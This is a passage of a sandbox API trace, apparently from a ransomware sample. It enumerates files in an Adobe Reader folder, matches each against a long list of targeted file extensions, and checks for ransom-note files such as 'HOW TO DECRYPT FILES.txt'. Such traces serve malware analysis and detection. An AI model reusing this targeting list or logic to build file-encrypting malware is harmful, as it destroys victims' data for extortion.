[0069.467] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.p12") returned 0 [0069.467] lstrlenA (lpString="*.p12") returned 5 [0069.467] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.gpg") returned 0 [0069.467] lstrlenA (lpString="*.gpg") returned 5 [0069.467] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.vsd") returned 0 [0069.467] lstrlenA (lpString="*.vsd") returned 5 [0069.467] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.odg") returned 0 [0069.468] lstrlenA (lpString="*.odg") returned 5 [0069.468] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.raw") returned 0 [0069.468] lstrlenA (lpString="*.raw") returned 5 [0069.468] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.nef") returned 0 [0069.468] lstrlenA (lpString="*.nef") returned 5 [0069.468] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.svg") returned 0 [0069.468] lstrlenA (lpString="*.svg") returned 5 [0069.468] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.psd") returned 0 [0069.468] lstrlenA (lpString="*.psd") returned 5 [0069.468] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.vmx") returned 0 [0069.468] lstrlenA (lpString="*.vmx") returned 5 [0069.468] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.vmdk") returned 0 [0069.468] lstrlenA (lpString="*.vmdk") returned 6 [0069.468] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.vdi") returned 0 [0069.468] lstrlenA (lpString="*.vdi") returned 5 [0069.468] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.lay6") returned 0 [0069.468] lstrlenA (lpString="*.lay6") returned 6 [0069.468] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.mpeg") returned 0 [0069.468] lstrlenA (lpString="*.mpeg") returned 6 [0069.468] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.djvu") returned 0 [0069.468] lstrlenA (lpString="*.djvu") returned 6 [0069.468] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.tiff") returned 0 [0069.468] lstrlenA (lpString="*.tiff") returned 6 [0069.468] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.backup") returned 0 [0069.468] lstrlenA (lpString="*.backup") returned 8 [0069.468] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.pdf") returned 0 [0069.469] lstrlenA (lpString="*.pdf") returned 5 [0069.469] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.cert") returned 0 [0069.469] lstrlenA (lpString="*.cert") returned 6 [0069.469] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.docm") returned 0 [0069.469] lstrlenA (lpString="*.docm") returned 6 [0069.469] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.xlsm") returned 0 [0069.469] lstrlenA (lpString="*.xlsm") returned 6 [0069.469] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.dwg") returned 0 [0069.469] lstrlenA (lpString="*.dwg") returned 5 [0069.469] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.nd") returned 0 [0069.469] lstrlenA (lpString="*.nd") returned 4 [0069.469] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.tlg") returned 0 [0069.469] lstrlenA (lpString="*.tlg") returned 5 [0069.469] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.lgb") returned 0 [0069.469] lstrlenA (lpString="*.lgb") returned 5 [0069.469] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.mov") returned 0 [0069.469] lstrlenA (lpString="*.mov") returned 5 [0069.469] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.xdw") returned 0 [0069.469] lstrlenA (lpString="*.xdw") returned 5 [0069.469] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.ods") returned 0 [0069.469] lstrlenA (lpString="*.ods") returned 5 [0069.469] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.wav") returned 0 [0069.469] lstrlenA (lpString="*.wav") returned 5 [0069.469] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.mp3") returned 0 [0069.469] lstrlenA (lpString="*.mp3") returned 5 [0069.469] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.aiff") returned 0 [0069.469] lstrlenA (lpString="*.aiff") returned 6 [0069.470] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.flac") returned 0 [0069.470] lstrlenA (lpString="*.flac") returned 6 [0069.470] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.m4a") returned 0 [0069.470] lstrlenA (lpString="*.m4a") returned 5 [0069.470] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.csv") returned 0 [0069.470] lstrlenA (lpString="*.csv") returned 5 [0069.470] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121ba8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 0 [0069.470] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0069.470] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa6790, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1 [0069.470] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0069.470] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="JP2KLib.dll") returned -1 [0069.470] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="JP2KLib.dll") returned -1 [0069.471] lstrcmpiA (lpString1="", lpString2="JP2KLib.dll") returned -1 [0069.471] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*.*") returned="*.*" [0069.471] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0069.471] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="" [0069.471] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\HOW TO DECRYPT FILES.txt" [0069.471] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\how to decrypt files.txt")) returned 0x20 [0069.471] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\", lpString2="JP2KLib.dll" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll" [0069.471] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.ems") returned 0 [0069.471] lstrlenA (lpString="*.ems") returned 5 [0069.471] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.db") returned 0 [0069.471] lstrlenA (lpString="*.db") returned 4 [0069.471] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.dbf") returned 0 [0069.471] lstrlenA (lpString="*.dbf") returned 5 [0069.471] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.myox") returned 0 [0069.471] lstrlenA (lpString="*.myox") returned 6 [0069.471] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.myo") returned 0 [0069.471] lstrlenA (lpString="*.myo") returned 5 [0069.471] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.qbw") returned 0 [0069.472] lstrlenA (lpString="*.qbw") returned 5 [0069.472] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.qbb") returned 0 [0069.472] lstrlenA (lpString="*.qbb") returned 5 [0069.472] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.qbm") returned 0 [0069.472] lstrlenA (lpString="*.qbm") returned 5 [0069.472] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.qbo") returned 0 [0069.472] lstrlenA (lpString="*.qbo") returned 5 [0069.472] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.qbx") returned 0 [0069.472] lstrlenA (lpString="*.qbx") returned 5 [0069.472] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.qba") returned 0 [0069.472] lstrlenA (lpString="*.qba") returned 5 [0069.472] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.qby") returned 0 [0069.472] lstrlenA (lpString="*.qby") returned 5 [0069.472] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.qbj") returned 0 [0069.472] lstrlenA (lpString="*.qbj") returned 5 [0069.472] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.ofx") returned 0 [0069.472] lstrlenA (lpString="*.ofx") returned 5 [0069.472] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.qif") returned 0 [0069.472] lstrlenA (lpString="*.qif") returned 5 [0069.472] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.mye") returned 0 [0069.472] lstrlenA (lpString="*.mye") returned 5 [0069.472] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.mbox") returned 0 [0069.472] lstrlenA (lpString="*.mbox") returned 6 [0069.473] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.eml") returned 0 [0069.473] lstrlenA (lpString="*.eml") returned 5 [0069.473] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.pst") returned 0 [0069.473] lstrlenA (lpString="*.pst") returned 5 [0069.473] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.ost") returned 0 [0069.473] lstrlenA (lpString="*.ost") returned 5 [0069.473] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.idx") returned 0 [0069.473] lstrlenA (lpString="*.idx") returned 5 [0069.473] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.dbx") returned 0 [0069.473] lstrlenA (lpString="*.dbx") returned 5 [0069.473] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.sql") returned 0 [0069.473] lstrlenA (lpString="*.sql") returned 5 [0069.473] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.mdb") returned 0 [0069.473] lstrlenA (lpString="*.mdb") returned 5 [0069.473] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.fdb") returned 0 [0069.473] lstrlenA (lpString="*.fdb") returned 5 [0069.473] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.wab") returned 0 [0069.473] lstrlenA (lpString="*.wab") returned 5 [0069.474] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.dat") returned 0 [0069.474] lstrlenA (lpString="*.dat") returned 5 [0069.474] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.txt") returned 0 [0069.474] lstrlenA (lpString="*.txt") returned 5 [0069.474] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.jpeg") returned 0 [0069.474] lstrlenA (lpString="*.jpeg") returned 6 [0069.474] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.jpg") returned 0 [0069.474] lstrlenA (lpString="*.jpg") returned 5 [0069.474] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.png") returned 0 [0069.474] lstrlenA (lpString="*.png") returned 5 [0069.474] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.php") returned 0 [0069.474] lstrlenA (lpString="*.php") returned 5 [0069.474] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.cs") returned 0 [0069.474] lstrlenA (lpString="*.cs") returned 4 [0069.474] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.cpp") returned 0 [0069.474] lstrlenA (lpString="*.cpp") returned 5 [0069.474] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.rar") returned 0 [0069.474] lstrlenA (lpString="*.rar") returned 5 [0069.474] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.zip") returned 0 [0069.475] lstrlenA (lpString="*.zip") returned 5 [0069.475] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.html") returned 0 [0069.475] lstrlenA (lpString="*.html") returned 6 [0069.475] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.htm") returned 0 [0069.475] lstrlenA (lpString="*.htm") returned 5 [0069.475] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.xlsx") returned 0 [0069.475] lstrlenA (lpString="*.xlsx") returned 6 [0069.475] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.xls") returned 0 [0069.475] lstrlenA (lpString="*.xls") returned 5 [0069.475] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.mp4") returned 0 [0069.475] lstrlenA (lpString="*.mp4") returned 5 [0069.475] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.ppt") returned 0 [0069.475] lstrlenA (lpString="*.ppt") returned 5 [0069.475] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.pptx") returned 0 [0069.475] lstrlenA (lpString="*.pptx") returned 6 [0069.475] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.doc") returned 0 [0069.475] lstrlenA (lpString="*.doc") returned 5 [0069.475] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.dot") returned 0 [0069.476] lstrlenA (lpString="*.dot") returned 5 [0069.476] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.docx") returned 0 [0069.476] lstrlenA (lpString="*.docx") returned 6 [0069.476] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.7z") returned 0 [0069.476] lstrlenA (lpString="*.7z") returned 4 [0069.476] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.tar") returned 0 [0069.476] lstrlenA (lpString="*.tar") returned 5 [0069.476] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.bz2") returned 0 [0069.476] lstrlenA (lpString="*.bz2") returned 5 [0069.476] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.gz") returned 0 [0069.476] lstrlenA (lpString="*.gz") returned 4 [0069.476] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.mkv") returned 0 [0069.476] lstrlenA (lpString="*.mkv") returned 5 [0069.476] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.eml") returned 0 [0069.476] lstrlenA (lpString="*.eml") returned 5 [0069.476] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.msg") returned 0 [0069.476] lstrlenA (lpString="*.msg") returned 5 [0069.477] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.edb") returned 0 [0069.477] lstrlenA (lpString="*.edb") returned 5 [0069.477] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.accdb") returned 0 [0069.477] lstrlenA (lpString="*.accdb") returned 7 [0069.477] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.odb") returned 0 [0069.477] lstrlenA (lpString="*.odb") returned 5 [0069.477] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.java") returned 0 [0069.477] lstrlenA (lpString="*.java") returned 6 [0069.477] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.asm") returned 0 [0069.477] lstrlenA (lpString="*.asm") returned 5 [0069.477] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.pfx") returned 0 [0069.477] lstrlenA (lpString="*.pfx") returned 5 [0069.477] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.pem") returned 0 [0069.477] lstrlenA (lpString="*.pem") returned 5 [0069.477] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.p12") returned 0 [0069.477] lstrlenA (lpString="*.p12") returned 5 [0069.477] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.gpg") returned 0 [0069.477] lstrlenA (lpString="*.gpg") returned 5 [0069.478] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.vsd") returned 0 [0069.478] lstrlenA (lpString="*.vsd") returned 5 [0069.478] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.odg") returned 0 [0069.478] lstrlenA (lpString="*.odg") returned 5 [0069.478] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.raw") returned 0 [0069.478] lstrlenA (lpString="*.raw") returned 5 [0069.478] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.nef") returned 0 [0069.478] lstrlenA (lpString="*.nef") returned 5 [0069.478] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.svg") returned 0 [0069.478] lstrlenA (lpString="*.svg") returned 5 [0069.478] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.psd") returned 0 [0069.478] lstrlenA (lpString="*.psd") returned 5 [0069.478] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.vmx") returned 0 [0069.478] lstrlenA (lpString="*.vmx") returned 5 [0069.478] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.vmdk") returned 0 [0069.478] lstrlenA (lpString="*.vmdk") returned 6 [0069.478] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.vdi") returned 0 [0069.478] lstrlenA (lpString="*.vdi") returned 5 [0069.478] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.lay6") returned 0 [0069.478] lstrlenA (lpString="*.lay6") returned 6 [0069.479] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.mpeg") returned 0 [0069.479] lstrlenA (lpString="*.mpeg") returned 6 [0069.479] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.djvu") returned 0 [0069.479] lstrlenA (lpString="*.djvu") returned 6 [0069.479] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.tiff") returned 0 [0069.479] lstrlenA (lpString="*.tiff") returned 6 [0069.479] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.backup") returned 0 [0069.479] lstrlenA (lpString="*.backup") returned 8 [0069.479] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.pdf") returned 0 [0069.479] lstrlenA (lpString="*.pdf") returned 5 [0069.479] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll", pszSpec="*.cert") returned 0 [0069.481] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Legal", cAlternateFileName="")) returned 1 [0069.481] lstrcmpA (lpString1=".", lpString2="Legal") returned -1 [0069.481] lstrcmpA (lpString1="..", lpString2="Legal") returned -1 [0069.481] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\JP2KLib.dll") returned="JP2KLib.dll" [0069.481] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\", lpString2="Legal" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0069.481] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, 